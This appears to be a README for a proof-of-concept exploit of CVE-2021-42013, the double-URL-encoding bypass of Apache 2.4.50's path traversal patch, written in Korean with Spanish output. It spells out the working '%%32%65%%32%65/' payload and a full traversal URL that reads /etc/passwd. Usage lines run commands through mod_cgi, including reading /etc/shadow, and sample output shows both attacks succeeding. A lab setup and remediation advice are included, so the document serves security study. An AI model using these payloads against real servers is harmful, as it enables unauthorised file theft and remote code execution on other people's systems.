
CVE-2021-42013에 대한 개념 증명 익스플로잇으로, Apache 2.4.50에서 CVE-2021-41773 패치의 이중 URL 인코딩 우회를 통해 경로 탐색 및 원격 코드 실행을 보여줍니다.
통제된 자체 환경에서만 사용하십시오. 승인되지 않은 시스템에 사용하지 마십시오.
CVE-2021-42013을 시연하기 위해 개발된 PoC로, Apache HTTP Server 2.4.50에 존재합니다.
이 CVE는 Apache가 CVE-2021-41773에 대해 발표한 패치의 우회입니다. 2.4.50 버전은 이전의 경로 트래버설을 수정하기 위해 .%2e 및 %2e. 시퀀스를 거부하는 검증을 추가했습니다. 그러나 이 검증은 불충분했습니다. 동일한 결과가 이중 URL 인코딩으로 얻어질 수 있다는 점을 고려하지 않아 동일한 공격 표면이 노출된 상태로 남았습니다.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| 영향을 받는 버전 | Apache 2.4.49 | Apache 2.4.50 |
| 사용된 인코딩 | .%2e/ | %%32%65%%32%65/ |
| 메커니즘 | 단일 인코딩 | 이중 인코딩 (패치 우회) |
| RCE 가능 | 예 (mod_cgi 사용 시) | 예 (mod_cgi 사용 시) |
| 수정된 버전 | 2.4.50 (불완전한 패치) | 2.4.51 |
Apache 2.4.50 패치는 요청 경로에서 .%2e 및 %2e. 시퀀스를 문자 그대로 찾는 ap_normalize_path() 검증을 추가했습니다. 이를 발견하면 400 또는 403으로 요청을 거부했습니다.
문제점: 해당 검증은 두 번째 URL 디코딩 패스 전에 문자열에 대해 실행되었습니다. 페이로드가 이중으로 인코딩된 경우, 검증은 금지된 시퀀스를 찾지 못했습니다. 아직 디코딩되지 않았기 때문입니다. 그리고 최종적으로 파일시스템 경로를 확인하기 위해 디코딩될 때 이미 ../가 존재하여 트래버설이 동일하게 발생했습니다.
Payload: %%32%65%%32%65/
2.4.50 검증이 찾는 것: .%2e → 찾지 못함 → 통과시킴
첫 번째 디코딩: %%32%65%%32%65/ → %2e%2e/
두 번째 디코딩: %2e%2e/ → ../
결과: 트래버설 성공
실제 수정은 2.4.51에서 이루어졌으며, Apache는 보안 검증을 적용하기 전에 경로를 완전히 해결하도록 정규화 로직을 다시 작성했습니다.
%%32%65는 .의 이중 인코딩된 표현입니다:
. → %2e (표준 인코딩)
% → %25 (% 기호 인코딩)
2 → %32 ('2' 문자 인코딩)
e → %65 ('e' 문자 인코딩)
따라서 %2e의 %가 인코딩되고 16진수 문자가 인코딩되어 %%32%65가 됩니다.
%%32%65의 첫 번째 디코딩은 %2e를 생성합니다. 두 번째는 .을 생성합니다.
| 조건 | 세부사항 |
|---|---|
| Apache 버전 | 정확히 2.4.50 |
| 액세스 지시문 | 노출된 디렉토리에 Require all granted |
| CGI 모듈 | mod_cgi 활성화 (RCE에만 필요) |
# 취약한 구성을 가진 Apache 2.4.50 이미지
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
또는 Apache 2.4.50을 수동으로 설치하고 httpd.conf에 다음 구성을 추가합니다:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# /etc/passwd 읽기
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# id 실행
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# 공백이 포함된 명령
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 이상 버전으로 업데이트하십시오.Require all denied를 기본값으로 유지하십시오.mod_cgi를 비활성화하십시오.교육 목적으로 개발된 PoC이며, 공격 보안 포트폴리오용입니다.
| 인수 | 필수 | 설명 |
|---|
--target | 예 | 서버 기본 URL (예: http://localhost:8080) |
--mode | 예 | traversal: 파일 읽기, rce: 명령 실행 |
--cmd | 아니요 | rce 모드에서 실행할 명령 (기본값: id) |